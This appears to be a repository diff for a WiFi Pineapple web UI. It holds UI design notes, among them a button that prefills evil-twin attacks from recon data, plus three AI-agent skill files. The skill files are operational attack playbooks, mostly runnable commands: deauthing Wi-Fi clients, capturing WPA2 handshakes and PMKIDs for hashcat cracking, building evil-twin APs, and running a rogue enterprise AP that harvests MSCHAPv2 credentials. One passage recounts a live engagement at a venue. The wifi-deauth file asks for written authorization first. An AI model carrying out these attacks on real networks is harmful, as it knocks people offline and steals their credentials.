- Lobe geometry regenerates on every `renderChannelMap()` (redraw), so
|
||||
stale geometry is impossible.
|
||||
|
||||
### 3. Focus sidebar: Actions validation + Send to PineAP (`views.js`)
|
||||
|
||||
- Existing buttons stay; toast feedback improved (already verified working
|
||||
at API level; re-verified end-to-end in browser).
|
||||
- New primary button **"Send to PineAP — Twin this network"**:
|
||||
- encryption bucket `Open` → navigate `#/pineap/open` with prefill
|
||||
`{ssid, hidden, channel, bssid}`;
|
||||
- anything else → navigate `#/pineap/evilwpa` with prefill
|
||||
`{ssid, hidden, channel, enctype}` where enctype maps from recon
|
||||
encryption: SAE→`sae`, OWE→`owe`, WPA3-only→`sae`, else `psk2`;
|
||||
- Enterprise networks still go to Evil WPA (psk2) — noted in the prefill
|
||||
banner.
|
||||
- Prefill mechanism: `window.PineAPPrefill = { set, consume }` (module
|
||||
singleton in `views.js`); `consume()` clears after use so a stale prefill
|
||||
never leaks into a manually opened form.
|
||||
- `attackLauncher()` consumes the prefill when building the form (SSID,
|
||||
hidden, channel via `chanSelect`, enctype, BSSID) and renders a muted
|
||||
banner: "Prefilled from Recon — verify, set the passphrase, then Deploy."
|
||||
Deploy is never triggered automatically (no attacks without an explicit
|
||||
user action).
|
||||
|
||||
### 4. Robustness / sync hardening (`views.js`)
|
||||
|
||||
- `loadDetail()`: on fetch failure keep `detailId` unset so the poll
|
||||
retries; surface "Scan data unavailable — retrying…" in the scan status
|
||||
line; wrap the render body so one chart's exception cannot blank the
|
||||
table (each chart draw also wrapped individually).
|
||||
- `drawCharts()`: wrap each chart section in try/catch.
|
||||
- `load()`: `loadPending` guard against overlapping polls; surface scan-list
|
||||
errors in the status line.
|
||||
- `hsAuto` re-syncs from `/api/pineap/get_config` on the 30 s slow poll
|
||||
(stays in sync with the pager's own UI/settings changes).
|
||||
- Version bumps in `index.html` for `app.css`, `chart.js`, `views.js`.
|
||||
|
||||
### 5. Verification
|
||||
|
||||
- Backend unchanged → existing `tests/` still pass (run the suite).
|
||||
- Deploy via `scripts/deploy.sh --password` (device: 172.16.52.1).
|
||||
- End-to-end in browser (device UI):
|
||||
- login; recon page: cards populated with scan data; no blank-page state;
|
||||
- click an AP row → focus sidebar → each Action button verified by
|
||||
reading back state (`get_config`) and API responses;
|
||||
- Send to PineAP → form pre-filled on the right tab (open vs WPA target);
|
||||
- channel map click → tooltip shows networks under cursor;
|
||||
- reboot-resilience spot check via service restart (pagerwebui restart).
|
||||
@@ -0,0 +1,46 @@
|
||||
# Encryption Landscape Card — Ring + Key Redesign
|
||||
|
||||
Date: 2026-08-19
|
||||
|
||||
## Problem
|
||||
|
||||
The "Encryption Landscape" recon card currently leads with a text headline
|
||||
(`WPA2-PSK` / `54 of 96 APs`) that duplicates the ring graph below it and is of
|
||||
little value. The ring itself draws an inline legend on the canvas in a single
|
||||
row that overflows the 190px card width (6 labels) and gets clipped. The card
|
||||
should be a proper ring graph with a readable key.
|
||||
|
||||
## Design
|
||||
|
||||
- Remove the `encValue` / `encSub` text line (`WPA2-PSK` / `54 of 96 APs`)
|
||||
entirely. Title + ring + legend tell the whole story.
|
||||
- Ring: existing doughnut grows to fill the card body (canvas ~120px tall),
|
||||
plain hole. Segments come from the **actual** `reconEncBucket` family keys
|
||||
(Open / WEP / WPA / WPA2-PSK / WPA2-Enterprise / WPA3-Personal / WPA3-PSK /
|
||||
WPA3-Enterprise / Unknown) — the nominal six-bucket list was a wrong
|
||||
assumption: `reconEncBucket` never returns `WPA2`/`WPA3`/`Enterprise`
|
||||
verbatim, so the ring drew an empty ring on WPA2-dominated data.
|
||||
Families are ordered by `RECON_ENC_ORDER`; colors cycle `RECON_ENC_COLORS`.
|
||||
- Legend: move out of the canvas into real HTML below the ring. Flex-wrap so
|
||||
entries never clip at 190px. Each entry: colored dot + label + count
|
||||
(`● WPA2-PSK 44`). Zero-count families are never produced (built from
|
||||
non-zero `encCounts` keys). The legend div carries both the class and the
|
||||
id `recon-enc-legend` — drawCharts looks it up with `getElementById`, and a
|
||||
class-only element made the population block silently no-op.
|
||||
- Empty state unchanged: "No encryption data yet — run a scan."
|
||||
- Data source, per-scan bucketing (`reconEncBucket`), re-sync, and the 5-card
|
||||
layout are untouched. The other cards are untouched.
|
||||
|
||||
## Implementation notes
|
||||
|
||||
- `chart.js`: `MiniChart.doughnut` keeps the `legend` option for any other
|
||||
callers (the recon landscape doughnut calls with `legend:false`; the enc
|
||||
card switches to `legend:false` since HTML legend replaces it).
|
||||
- `views.js`: drop `encValue`/`encSub`; build an HTML legend container
|
||||
(`#recon-enc-legend`) populated in `drawCharts` from the same `encCounts`;
|
||||
ring drawn with `{ legend: false, height: ~120 }` from a shared `encSegs`
|
||||
array (real family keys, `RECON_ENC_ORDER`-sorted, cycled colors).
|
||||
- `app.css`: `.recon-enc-legend` flex-wrap styles + dot/entry styles.
|
||||
- Ring hole stays plain (no center text).
|
||||
- On-device verification MUST assert the legend has non-empty entries
|
||||
(class/id mismatch and the bucket-name mismatch both fail silently).
|
||||
@@ -8,7 +8,7 @@
|
||||
"title": "Mark VIII",
|
||||
"author": "c4ch3c4d3",
|
||||
"description": "Mark VII-style web management UI for the WiFi Pineapple Pager",
|
||||
"version": "1.1",
|
||||
"version": "1.2",
|
||||
"category": "remote_access",
|
||||
"tags": ["remote-access", "web-interface", "device-management", "pineap"],
|
||||
"firmware": "Pineapple Pager 24.10.1"
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,54 @@
|
||||
---
|
||||
name: aircrack-suite
|
||||
description: Use when running the aircrack-ng suite on the WiFi Pineapple (Pager/FENRIS) — airodump-ng target capture, aireplay-ng deauth, PMKID (hashcat -m 22002) or four-way handshake (hashcat -m 22000) hunting, on-device hcxpcapngtool extraction, or installing/reinstalling aircrack-ng and hcxtools after a factory reset. Pairs with pineapple-control (device access) and wifi-deauth (attack methodology).
|
||||
---
|
||||
|
||||
# Aircrack Suite on the Pineapple (airodump / aireplay / PMKID)
|
||||
|
||||
The Pineapple runs aircrack-ng tools directly on its monitor interfaces. Verified on Pager/FENRIS: `aircrack-ng 1.7-r1` (airodump-ng, aireplay-ng, aircrack-ng) and `hcxtools 6.3.2-r1` (hcxpcapngtool). Read **pineapple-control** for device access, radio layout, and the command surface; read **wifi-deauth** for the attack methodology, authorization gate, and failure modes.
|
||||
|
||||
## Installation (factory-reset recovery)
|
||||
|
||||
```sh
|
||||
opkg update
|
||||
opkg install aircrack-ng hcxtools
|
||||
```
|
||||
|
||||
- `airmon-ng` is NOT shipped with the OpenWrt package — monitor mode is handled by the existing `wlan0mon`/`wlan1mon` interfaces (or `iw`), not airmon-ng.
|
||||
- `hcxdumptool` is NOT in the opkg repo — capture PMKID with airodump-ng + hcxpcapngtool extraction instead.
|
||||
- Workstation tooling for cracking (macOS): `brew install hcxtools hashcat`; `aircrack-ng` optional via `brew install aircrack-ng`.
|
||||
|
||||
## Target capture
|
||||
|
||||
Monitor interfaces must be UP, and the channel must match the phy (pinned by the AP interface: ch1 = `wlan0mon` 2.4 GHz, ch36 = `wlan1mon` 5 GHz). **airodump-ng 1.7 does NOT accept `--write-format`** — use `-w <prefix>` (writes `.cap`, `.csv`, `.kismet.*`):
|
||||
|
||||
```sh
|
||||
ip link set wlan1mon up
|
||||
setsid airodump-ng wlan1mon -c 36 --bssid 9A:18:98:FE:C1:09 -w /root/loot/pcap/svc5g >/tmp/ad.log 2>&1 </dev/null &
|
||||
```
|
||||
|
||||
- `setsid ... </dev/null &` detaches so the capture survives SSH disconnect; it runs until killed (no time cap).
|
||||
- One airodump per band: `wlan0mon -c 1` for 2.4 GHz targets. Run both for dual-band coverage.
|
||||
- Stop: `killall airodump-ng`. Files roll to `-02.cap`, `-03.cap`, etc.
|
||||
- Pull the `.cap` with scp for local analysis, or use on-device `hcxpcapngtool`.
|
||||
|
||||
## PMKID hunt (hashcat -m 22002)
|
||||
|
||||
A PMKID appears in a client's (re)association request when it holds a cached PMK — i.e., PMKSA fast-reauth clients. Requirement: a client must (re)associate; **no client in range means nothing to capture**.
|
||||
|
||||
- Elicit with ONE light deauth: `PINEAPPLE_DEAUTH_CLIENT <AP_MAC> <CLIENT_MAC> <ch>` (tested) or `aireplay-ng -0 1 -a <AP_MAC> [-c <CLIENT_MAC>] wlan1mon`. Heavy deauth suppresses PMKID — the AP resets PMKID and hcxpcapngtool warns "too many deauthentication/disassociation frames".
|
||||
- Extract on-device or locally:
|
||||
```sh
|
||||
hcxpcapngtool svc5g-01.cap 2>&1 | grep -i pmkid # does a PMKID exist?
|
||||
hcxpcapngtool -o out.22002 svc5g-01.cap # write hashcat file
|
||||
hashcat -m 22002 out.22002 -a 0 <wordlist>
|
||||
```
|
||||
- A brand-new client's first association also yields a full 4-way: `hcxpcapngtool -o out.22000 <cap>` then `hashcat -m 22000 out.22000 -a 0 <wordlist>`.
|
||||
|
||||
## Pitfalls
|
||||
|
||||
- **Verify the auth type before assuming PSK.** airodump's AUTH column can misleadingly show `MGT` (802.1X) when a hidden Enterprise BSSID shares the same AP. Decode the RSN instead: `tshark -r cap -Y "wlan.fc.subtype==8" -T fields -e wlan.sa -e wlan.rsn.akms.type` (1 = PSK, 2 = 802.1X, 6 = FT-802.1X). PMKID/`-m 22000` only apply to PSK.
|
||||
- **Channel:** `-c` must equal the phy's held channel, or airodump sees nothing.
|
||||
- **Interface state:** if airodump errors "That device is not up", run `ip link set wlan*mon up` first.
|
||||
- **Flags:** "unrecognized option" on 1.7 — you passed an unsupported flag (e.g. `--write-format`).
|
||||
- Running airodump alongside pineapd recon is fine; the phy stays pinned by the AP interface, so recon hopping cannot move it.
|
||||
@@ -0,0 +1,145 @@
|
||||
---
|
||||
name: pineapple-control
|
||||
description: Use when operating a WiFi Pineapple (Pager / FENRIS / PineAP firmware) over SSH — accessing the device, understanding its radios/processes, controlling it via PINEAPPLE_* / _pineap / hostapd_cli, fixing pineapd crashes (SSID-pool SIGSEGV), or persistently configuring APs and evil twins via /etc/config/wireless. Pair with the wifi-deauth skill for deauth/handshake attack work.
|
||||
---
|
||||
|
||||
# Pineapple Control (Pager / FENRIS)
|
||||
|
||||
Field-verified operating guide for the WiFi Pineapple Pager (FENRIS firmware, kernel 6.6, OpenWrt, BusyBox). Read this before touching the device; the wifi-deauth skill covers the attack methodology.
|
||||
|
||||
## Hardware / radios
|
||||
|
||||
| Radio | Hardware | Interfaces | Notes |
|
||||
|---|---|---|---|
|
||||
| phy0 | internal `mt76_wmac` (2.4 GHz) | `wlan0wpa` (AP), `wlan0open` (AP), `wlan0mon` (monitor), `wlan0` (managed uplink) | `wlan0mon` DOES see the Pineapple's own TX |
|
||||
| phy1 | USB `mt7921u` (5 GHz) | `wlan1wpa` (AP), `wlan1mon` (monitor) | `wlan1mon` does NOT see own TX (beacon offload) — see Captures |
|
||||
|
||||
Naming: `wlan0*` = 2.4 GHz, `wlan1*` = 5 GHz. A phy's channel is held by its AP interface (`iw dev`); the monitor on that phy is pinned to it. The UI "Evil WPA AP" feature is hardwired to `wlan0wpa` (2.4 GHz); a 5 GHz evil twin must be made via `/etc/config/wireless`.
|
||||
|
||||
**The uplink pins phy0 (field-verified 2026-08-19):** while the device's own
|
||||
client uplink (`wlan0` STA) is associated, it holds phy0 on the association
|
||||
channel (here ch1). `wlan0mon` therefore CANNOT hop off ch1, and 2.4 GHz
|
||||
APs on other channels are invisible to recon — even when `hop=1` is set.
|
||||
Also, pineapd's per-interface hop is a no-op unless `hopspeed` is set on
|
||||
that interface (`pineapd.wlan0mon.hopspeed='fast'`). Workarounds: run the
|
||||
2.4 GHz evil twin on the phy's pinned channel (clients rescan all channels
|
||||
on reconnect and will find it), or accept ch1-only 2.4 GHz recon while the
|
||||
uplink is up.
|
||||
|
||||
## pineapd crash stack (Pager 24.10.1 — all five verified)
|
||||
|
||||
1. **SSID-pool broadcast** — segfaults pineapd (~15 s cadence, `ra=004e1237`). Keep `pineapd.@ssidpool[0].disable=1`.
|
||||
2. **wlan2mon** — a 6 GHz monitor this hardware never creates; hopping it segfaults pineapd. Keep `pineapd.wlan2mon.disable=1` + `hop=0`.
|
||||
3. **wlan1mon 6 GHz fast-hop** — stalls the command socket; the stock daemon's watchdog then SIGTERMs pineapd every ~30 s ("[PineAp] Error writing"). Keep `pineapd.wlan1mon.bands=5`.
|
||||
4. **Refilled pool list** — collect (`autossidpool`) refills the pool; a large list crashes even with broadcast off. Clear `pineapd.@ssidpool[0].ssid` when pineapd fails.
|
||||
5. **Active socket polling** — pinging pineapd from a health loop collides with the stock daemon's writes. Health checks must be passive (`pidof`).
|
||||
|
||||
The Mark VIII health monitor enforces all five automatically; `/api/health` reports state. An evil twin / enterprise deploy pauses `wlan1mon` hop and resumes it on stop.
|
||||
|
||||
## Standalone PineAPE enterprise engine (field-verified)
|
||||
|
||||
The stock daemon's enterprise AP config generation is BROKEN on this build
|
||||
(it hardcodes `eap_server_erp=1`, which hostapd rejects with "Invalid IEEE
|
||||
802.1X configuration (no EAP authenticator configured)"). Working engine,
|
||||
run entirely by Mark VIII on phy1 outside the daemon's interface set:
|
||||
|
||||
```sh
|
||||
iw phy phy1 interface add wlan1ent type managed
|
||||
iw dev wlan1ent set type ap && ip link set wlan1ent up
|
||||
# hostapd config: interface=wlan1ent, ieee8021x=1, eap_server=1,
|
||||
# eap_user_file=/root/loot/eap_users ("*" MSCHAPV2 "dummy"),
|
||||
# wpa_key_mgmt=WPA-EAP, ctrl_interface=/var/run/hostapd-mk8
|
||||
/usr/sbin/hostapd -B -P /var/run/hostapd-mk8.pid /root/loot/enterprise.conf
|
||||
# enable karma + PineAPE + auth capture on the INSTANCE's ctrl socket:
|
||||
hostapd_cli -p /var/run/hostapd-mk8 -i wlan1ent pineap_enable
|
||||
hostapd_cli -p /var/run/hostapd-mk8 -i wlan1ent pineape_enable
|
||||
hostapd_cli -p /var/run/hostapd-mk8 -i wlan1ent pineape_auth_enable
|
||||
```
|
||||
|
||||
Captured credentials flow to pineapd's socket and land in
|
||||
`hostap_basic`/`hostap_chalresp` in recon.db. Tear down: kill the pidfile
|
||||
pid, `iw dev wlan1ent del`, resume hop.
|
||||
|
||||
## Access
|
||||
|
||||
```sh
|
||||
sshpass -p '<pw>' ssh -o StrictHostKeyChecking=no root@<ip> # lab unit: 172.16.52.1
|
||||
```
|
||||
|
||||
- Transient `Permission denied` after bursts of sessions = SSH rate limiting — pause ~10 s and retry.
|
||||
- Keep sessions short; run each logical step in its own command. One combined session for multi-step attacks (see wifi-deauth).
|
||||
- BusyBox: `pkill`, `nohup`, `sshpass` are MISSING. Use `killall`/`kill $(pidof ...)`, `setsid`, and local sshpass. `od`/`hexdump`/`cat -n` absent — use `strings`/`grep`/`head -c`.
|
||||
|
||||
## What runs on the box
|
||||
|
||||
| Process | Managed by | Purpose | Socket |
|
||||
|---|---|---|---|
|
||||
| `/pineapple/pineapple` (ELF UI backend) | procd (`/etc/init.d/pineapplepager`) | Web UI; supervises/reconverges hostapd | — |
|
||||
| `/usr/sbin/pineapd` | procd (auto-restarts on crash) | recon, deauth, SSID pool, handshake logging | `/tmp/pineap_sock` |
|
||||
| `/usr/sbin/hostapd` (single global instance) | standalone (PPID 1) | all AP interfaces | `/var/run/hostapd/global`, per-iface under `/var/run/hostapd/` |
|
||||
| `wpa_supplicant` | procd | device's own client uplink (`wlan0`) | — |
|
||||
|
||||
## Command surface
|
||||
|
||||
- `PINEAPPLE_*` (e.g. `PINEAPPLE_DEAUTH_CLIENT`) = symlinks to `hak5cmd`, which talks to pineapd over `/tmp/pineap_sock`. Do NOT `curl 127.0.0.1/api/...` — the HTTP API is not on :80.
|
||||
- `_pineap` = pineapd control CLI (`PING`, `RECON APS|DEVICES|ISEARCH format=json`, `INTERFACE LIST/SET`, `SSIDPOOL ...`, `DEAUTH`, `EXAMINE`, `PCAP START/STOP`). Direct use can desync the UI — prefer `PINEAPPLE_*` where one exists.
|
||||
- `hostapd_cli -i <iface> status|get_config|disable|enable` (per-iface) and `-p /var/run/hostapd -i global` (global). This is a Karma-patched build.
|
||||
- `iw`, `sqlite3`, `tcpdump` (full build: `-G`/`-W` rotate supported), `logread`, `dmesg`.
|
||||
|
||||
## Config & persistence (the hard-won rules)
|
||||
|
||||
- `/etc/config/wireless` is the SOURCE OF TRUTH for APs (`config wifi-iface` sections). `wifi reload` (or `wifi up radioN`) applies it.
|
||||
- Editing `/var/run/hostapd-phy*.conf` is TRANSIENT. `hostapd_cli ... reload_config`/`reload` do NOT re-read the file. `hostapd_cli raw ADD/REMOVE` misfires (treats the config path as the ctrl dir). Killing hostapd triggers the UI backend to restart it (`-g /var/run/hostapd/global`, no configs) and the ubus path reconverges from `/etc/config/wireless` — reverting your change.
|
||||
- **To change an AP persistently:** back up first, edit `/etc/config/wireless`, then `wifi reload`. Example — convert a 5 GHz AP to a WPA2-PSK evil twin:
|
||||
```sh
|
||||
cp /etc/config/wireless /etc/config/wireless.bak
|
||||
# wifi-iface section: ssid 'TargetSSID', encryption 'psk2', key '<passphrase>'
|
||||
wifi reload
|
||||
hostapd_cli -i wlan1wpa get_config # verify ssid + key_mgmt=WPA-PSK
|
||||
```
|
||||
|
||||
## pineapd health & the crash-loop
|
||||
|
||||
- Symptom: `PINEAPPLE_*` / deauth returns `could not connect to pineap: dial unix /tmp/pineap_sock: connect: connection refused`, and `logread` shows `do_page_fault(): sending SIGSEGV to pineapd for invalid read access from 00000004`.
|
||||
- Cause observed: the **SSID-pool broadcast** (68 SSIDs loaded from `/etc/config/pineapd`) segfaults pineapd on a ~15 s-to-minutes cadence; procd respawns it.
|
||||
- Fix: `_pineap SSIDPOOL DISABLE && /etc/init.d/pineapd restart`, verify with `_pineap PING` (PONG) and that the SIGSEGV count in `logread` stops climbing. The SSID pool is separate from hostapd evil twins — disabling it does not affect them.
|
||||
- `PING` to `/tmp/pineap_sock` failing while the socket file exists = stale socket (pineapd down/restarting).
|
||||
|
||||
## Recon DB
|
||||
|
||||
`pineapd` runs `--recon --reconpath /root/recon/ --handshakepath /root/loot/handshakes`. pineapd holds the DB — always read via the read-only URI with a timeout:
|
||||
|
||||
```sh
|
||||
timeout 30 sqlite3 -header -column "file:/root/recon/recon.db?mode=ro" \
|
||||
"SELECT bssid, CAST(ssid AS TEXT), channel, freq, signal, datetime(time,'unixepoch') FROM ssid ORDER BY time DESC LIMIT 40"
|
||||
```
|
||||
|
||||
Tables: `ssid` (ssid is BLOB — `CAST(ssid AS TEXT)`; has bssid/channel/freq/signal/encryption/hidden), `wifi_device` (mac/freq/signal/packets), `scan`, `handshake` (beacon/hs1..hs4 — captures for any nearby AP), `hostap_handshake` (mic/nonce/eapol — captures for the Pineapple's OWN evil-twin APs), plus `hostap_basic`/`hostap_chalresp` (PineAPE enterprise creds) and `hostap_client`. `RECON CLIENTS` does not exist — use `RECON DEVICES`.
|
||||
|
||||
## Captures
|
||||
|
||||
- Raw monitor capture (802.11+radiotap; EAPOL is cleartext on the wire):
|
||||
```sh
|
||||
tcpdump -i wlan1mon -s 3000 -w /root/loot/pcap/mon_$(date +%s).cap
|
||||
```
|
||||
- **Own-TX visibility differs by radio.** On phy0 (2.4 GHz) `wlan0mon` captures the Pineapple's own beacons/EAPOL; on phy1 (5 GHz) `wlan1mon` does NOT see the Pineapple's own TX. A 5 GHz evil twin's M1/M3 will be invisible to the monitor — rely on `hostap_handshake`/`/root/loot/handshakes` for own-AP 4-ways. Client uplink frames (M2/M4, assoc) ARE visible on both.
|
||||
- PineAP's `PCAP START` export is management/control frames only — never rely on it for handshakes.
|
||||
- Standing capture that survives SSH disconnect (detaches via `setsid`, rotates 5 min, keeps 48 files ≈ 4 h; `/mmc` had ~3.3 GB free):
|
||||
```sh
|
||||
setsid tcpdump -i wlan1mon -s 3000 -G 300 -W 48 -w '/root/loot/pcap/nc_%Y%m%d_%H%M%S.cap' >/dev/null 2>&1 </dev/null &
|
||||
```
|
||||
- Stop captures: `killall tcpdump` (`pkill` missing).
|
||||
- Pull evidence locally with `scp`; analyze with `tshark`/`capinfos`/`hcxpcapngtool` (brew `wireshark`, `hcxtools`).
|
||||
|
||||
## Verification & troubleshooting
|
||||
|
||||
- AP up but silent? `iw dev <iface> info` for ssid/type/channel; `hostapd_cli -i <iface> status` (state=ENABLED) and `get_config`. Static `tx_packets` on the netdev does NOT mean not-beaconing — beacons are driver-offloaded; check `dmesg` for driver errors instead.
|
||||
- Deauth channel targeting: `PINEAPPLE_DEAUTH_CLIENT` injects via the phy of the configured inject interface (here `wlan1mon`, 5 GHz) regardless of the channel argument — a "ch1" deauth goes out on 5 GHz. To reach 2.4 GHz clients the inject interface must be phy0. Verify on the wire with a monitor capture (SA=spoofed BSSID).
|
||||
- `hostapd_cli -p /var/run/hostapd -i global interface` lists managed interfaces.
|
||||
|
||||
## Teardown & hygiene
|
||||
|
||||
- Stop captures: `killall tcpdump`; kill only the standing capture's PID if you must keep others.
|
||||
- Leave `/root/loot/**` pcap artifacts as evidence; scp them off before leaving.
|
||||
- If you disabled the SSID pool to fix a crash, tell the user it stays disabled (re-enabling re-crashes pineapd).
|
||||
- Report persistent config changes you made (e.g. an AP converted in `/etc/config/wireless`) so the user knows their device differs from the UI default.
|
||||
@@ -0,0 +1,138 @@
|
||||
---
|
||||
name: wifi-deauth
|
||||
description: Use for Wi-Fi deauth attacks and WPA2 handshake capture with the WiFi Pineapple — target discovery from the recon DB, PINEAPPLE_DEAUTH_CLIENT technique, channel-pinning pitfalls, raw monitor capture for EAPOL, PMKSA/steering failure modes, evil-twin luring, and hashcat handoff. Written authorization required. Device access, process control, and persistence live in the pineapple-control skill.
|
||||
---
|
||||
|
||||
# Wi-Fi Deauth & Handshake Capture (WiFi Pineapple Pager)
|
||||
|
||||
Field-tested attack methodology: deauth clients on a target SSID and capture a WPA2-PSK four-way handshake for hashcat, using the Pineapple Pager (FENRIS/PineAP firmware).
|
||||
|
||||
**STOP first: confirm the user has written authorization for the target networks. Deauth is disruptive; proceed only with confirmed scope, and deauth ONLY the identified target BSSIDs (never "all APs in range").**
|
||||
|
||||
Device access, the `PINEAPPLE_*`/`_pineap`/`hostapd_cli` command surface, pineapd crash fixes, standing captures, and `/etc/config/wireless` persistence are in **pineapple-control** — read it first, then return here.
|
||||
|
||||
## 1. Discover target APs (passive recon first)
|
||||
|
||||
Query the recon DB read-only with a timeout (pineapd holds the DB; a blocking read can hang it):
|
||||
|
||||
```sh
|
||||
timeout 30 sqlite3 -header -column "file:/root/recon/recon.db?mode=ro" \
|
||||
"SELECT bssid, CAST(ssid AS TEXT), channel, freq, signal, datetime(time,'unixepoch') FROM ssid ORDER BY time DESC LIMIT 40"
|
||||
```
|
||||
|
||||
- `ssid` stores SSID as BLOB — `CAST(ssid AS TEXT)` decodes it.
|
||||
- Live JSON: `_pineap RECON APS limit=30 format=json`, `_pineap RECON DEVICES limit=50 format=json`, `_pineap RECON ISEARCH <ssid>` (case-insensitive).
|
||||
- Beware two result traps: (a) one physical AP appears under several BSSID variants (first-octet differs per SSID/band, e.g. `92:18:88:` vs `92:18:98:` with the same suffix) — deauth ALL variants of the target SSID; (b) SSID spellings can differ per radio — enumerate both. Confirm current presence with `ISEARCH`; BSSIDs seen only as probe sources (not beaconing) are out of scope.
|
||||
- Identify active clients in `wifi_device` (high packet count, non-AP MAC) and their band (`freq` 2412 = 2.4, 5180 = 5).
|
||||
- Check whether the Pineapple already karma-clones the target SSID: `iw dev` shows the evil-twin ifaces and their BSSIDs; a clone BSSID can collide with a real one.
|
||||
|
||||
## 2. Deauth (the working method)
|
||||
|
||||
`PINEAPPLE_DEAUTH_CLIENT` = `hak5cmd` → pineapd socket `/tmp/pineap_sock`:
|
||||
|
||||
```sh
|
||||
PINEAPPLE_DEAUTH_CLIENT <AP_MAC> <CLIENT_MAC> <channel> # single client
|
||||
PINEAPPLE_DEAUTH_CLIENT <AP_MAC> FF:FF:FF:FF:FF:FF <channel> # all clients on AP
|
||||
```
|
||||
|
||||
- MACs with colons work. Channel should be the AP's actual channel.
|
||||
- Verified rhythm: a burst of ~50 frames per call; `sleep 1-2` between calls; 5-8 calls per AP. Do not keep blasting on failure (see §6).
|
||||
- **Injection phy gotcha:** deauth frames are injected via the phy of the configured inject interface (default `wlan1mon`, 5 GHz) REGARDLESS of the channel argument — a "channel 1" deauth still goes out on 5 GHz. To hit 2.4 GHz clients the inject interface must be on phy0 (`_pineap INTERFACE INJECT wlan0mon`).
|
||||
- Verify on the wire afterward: injected frames appear as deauth/disassoc with SA=spoofed BSSID, DA=target/broadcast (see §5).
|
||||
- `connection refused` on the socket = pineapd down (crash-loop) — fix per pineapple-control, then retry.
|
||||
- Logs/loot dirs: `/root/loot/fenris/`, `/root/loot/pcap/`, `/root/loot/handshakes/`.
|
||||
|
||||
## 3. Channel pinning — what works and what crashes
|
||||
|
||||
| Method | Result |
|
||||
|---|---|
|
||||
| `PINEAPPLE_EXAMINE_BSSID <mac> <sec>` / `_pineap EXAMINE BSSID ...` | **CRASHES pineapd (device may reboot). Do not use.** |
|
||||
| `_pineap RECON NEW name=x channel=N` | Returns rc=0 but does **not** pin the monitor radio — recon keeps hopping. |
|
||||
| `iw dev <mon> set channel N` | Fails "Resource busy" when the phy is held by the AP interface (karma / evil twin). |
|
||||
| `iw dev wlan1mon info` | Read-only, safe — shows the channel the AP interface holds (e.g. `channel 36 (5180 MHz)`). |
|
||||
|
||||
Monitors are effectively pinned to the channel their phy's AP interface holds (2.4 GHz → ch1, 5 GHz → ch36 on the lab unit). `_pineap INTERFACE LIST` may label an interface "hop" even when it is physically pinned — trust `iw dev`, not the label.
|
||||
|
||||
## 4. Handshake capture — where built-in capture fails and the workaround
|
||||
|
||||
**PineAP's `PCAP START` export is management/control frames ONLY** — zero data, zero EAPOL. Never rely on it for handshakes.
|
||||
|
||||
The `handshake`/`hostap_handshake` tables and `/root/loot/handshakes` populate only for the Pineapple's OWN evil-twin AP (see §6). For the real AP, use a raw monitor capture:
|
||||
|
||||
**Field-verified 2026-08-19 — the passive capture is GOLD (better than the twin):**
|
||||
pineapd's `handshake` table captures a full 4-way for ANY nearby AP the
|
||||
monitor can hear, even when the client refuses the evil twin entirely. In a
|
||||
live engagement, a target client (Nintendo Switch 2) got `auth status=1`
|
||||
rejections from the karma twin and never associated — but when it
|
||||
reconnected to the REAL AP, pineapd logged:
|
||||
`[HANDSHAKE] handshake AP <real-bssid> CLIENT <mac> crackable [B,1,2,3,4]`
|
||||
and wrote both `.pcap` + `.22000` files to `/root/loot/handshakes/` on its
|
||||
own. The monitor must be on the real AP's channel (on this lab unit the
|
||||
2.4 GHz monitor is pinned to the uplink's channel — see pineapple-control).
|
||||
The exported hashcat line verified against the target SSID:
|
||||
`WPA*02*<mic>*<apbssid>*<clientmac>*<ssid-hex>` — direct `hashcat -m 22000` input.
|
||||
Clients that DO associate to the twin also produce `hostap_handshake` rows
|
||||
(roaming client verified), so both paths produce loot.
|
||||
|
||||
```sh
|
||||
# single session: background tcpdump, run deauth rounds, listen, kill.
|
||||
tcpdump -i wlan1mon -s 3000 -w /root/loot/pcap/mon_$(date +%s).cap & TDPID=$!
|
||||
... deauth bursts on the same channel ...
|
||||
sleep <listen window, e.g. 60-90s>
|
||||
kill $TDPID
|
||||
```
|
||||
|
||||
- Pick the monitor pinned to the target channel (`iw dev`). A monitor sees remote radios (AP and clients) fully; on 5 GHz it will NOT see the Pineapple's own TX (see pineapple-control), so an evil-twin M1/M3 won't appear — rely on `hostap_handshake` + loot for own-AP captures.
|
||||
- `nohup ... &` from a non-interactive ssh drops the process (file never appears) — run the whole round in ONE ssh session and background-kill within it.
|
||||
- Pull with scp; analyze locally with tshark (brew: `wireshark`, `hcxtools`).
|
||||
|
||||
Analysis one-liners:
|
||||
```sh
|
||||
tshark -r cap -T fields -e wlan.fc.type -e wlan.fc.subtype | sort | uniq -c # frame mix
|
||||
tshark -r cap -Y eapol -c 10 # 4-way keys
|
||||
tshark -r cap -Y "wlan.fc.type==0 && wlan.fc.subtype==12" -T fields -e wlan.sa -e wlan.da # deauths (injected vs client-mirrored)
|
||||
tshark -r cap -Y "wlan.fc.subtype==8" -c 1 -V | grep -A30 "RSN Information" # WPA2/PSK + PMF bits
|
||||
```
|
||||
- RSN decode: AKM 00:0f:ac = PSK (WPA2, auditable). SAE only = WPA3 (no 4-way). "MFPC/MFPR" set → PMF-requiring clients will skip a non-PMF evil twin.
|
||||
- WPS: no "Config Methods" element (0x0043) or no AP PIN in the WPS IE → WPS disabled; the `-m 2560` route is dead.
|
||||
|
||||
## 5. Expected failure mode: PMKSA fast reauth (plan for it)
|
||||
|
||||
On venues with steering/anti-rogue controllers, clients return within ~100 ms via **PMKSA-cached fast reauth (2-frame, no EAPOL)**. No deauth volume forces a fresh 4-way — the cached PMK lives on the client.
|
||||
|
||||
**Verified tell-tales on the lab venue:**
|
||||
- Steady stream of targeted deauths from the AP BSSID at individual client MACs, plus deauths aimed at the attacker.
|
||||
- The target client **mirrors every injected deauth**: same-frame-count deauth/disassoc streams back with SA=client MAC (and broadcast-SA variants) toward the AP BSSID within ~2 ms — an active anti-deauth unit.
|
||||
- Client reassociates to the REAL AP immediately (auth/reassoc burst) with **zero EAPOL**.
|
||||
|
||||
A fresh 4-way occurs only on:
|
||||
1. A **brand-new client's first association** (new person/device arriving), or
|
||||
2. A **GTK rekey** (AP-side, typically hourly).
|
||||
|
||||
Mitigations / planning:
|
||||
- Multi-channel ops: an AP may serve the SSID on several channels/bands — monitor and deauth each; a steered client misses a single-channel window.
|
||||
